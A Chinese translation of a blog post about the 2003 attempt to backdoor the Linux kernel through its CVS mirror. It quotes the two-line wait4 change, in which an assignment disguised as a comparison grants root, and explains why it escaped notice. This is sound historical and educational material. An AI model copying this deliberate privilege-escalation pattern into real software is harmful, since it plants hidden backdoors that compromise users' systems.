最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)
今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。
时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。
但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。
但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。
神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]
猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0。
将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。
客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。
但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。
这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。
via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/
译者:tinyeyeser 校对:wxy
发表回复